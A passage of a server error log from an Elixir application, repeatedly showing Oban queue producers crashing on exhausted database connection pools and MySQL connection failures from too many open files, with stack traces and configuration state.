#Reference<0.2525715032.1068236804.239230>, refresh_timer: #Reference<0.2525715032.1099169794.246701>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:49.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:51:37.239402Z], limit: 5, uuid: "f83ed6ab-9d37-4b2e-aac0-0d1fb0931dac", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:37.239407Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.239231>, refresh_timer: #Reference<0.2525715032.1099169794.246718>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:51:37.242382Z], limit: 5, uuid: "0b5ba962-5b14-4772-8d4b-f236cf6d5f58", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:37.243764Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.239227>, refresh_timer: #Reference<0.2525715032.1068236804.239219>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:49.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:51:37.239576Z], limit: 3, uuid: "eadcdf4f-9ca5-40f2-9621-e9e4db80858a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:37.239581Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.239232>, refresh_timer: #Reference<0.2525715032.1099169794.246726>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:49.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:51:37.239742Z], limit: 20, uuid: "6e6ab5a0-2d3f-41a9-b2bb-821ffcaf46e3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:37.239746Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.239229>, refresh_timer: #Reference<0.2525715032.1099169794.246737>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:49.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:51:37.240604Z], limit: 50, uuid: "4280b794-a15e-47b0-8053-3cd11fbfab23", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:37.240610Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.239228>, refresh_timer: #Reference<0.2525715032.1068236804.239213>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:51.276000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:52.248000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:54.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:57.193000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:58.726000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:59.174000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:52:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:51:49.239984Z], limit: 20, uuid: "84aaa0c2-a594-49e9-aacc-9cb6a1156c10", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:49.239990Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.246836>, refresh_timer: #Reference<0.2525715032.1099169794.246833>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:51:49.241299Z], limit: 5, uuid: "17b3c8a7-eff8-4907-9897-587275de1c55", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:49.241305Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.97630>, refresh_timer: #Reference<0.2525715032.1121189889.97619>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:51:49.239019Z], limit: 10, uuid: "5ea80a7e-9beb-480d-b19f-8429e96113ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:49.239029Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.246837>, refresh_timer: #Reference<0.2525715032.1099169794.246809>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:52:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
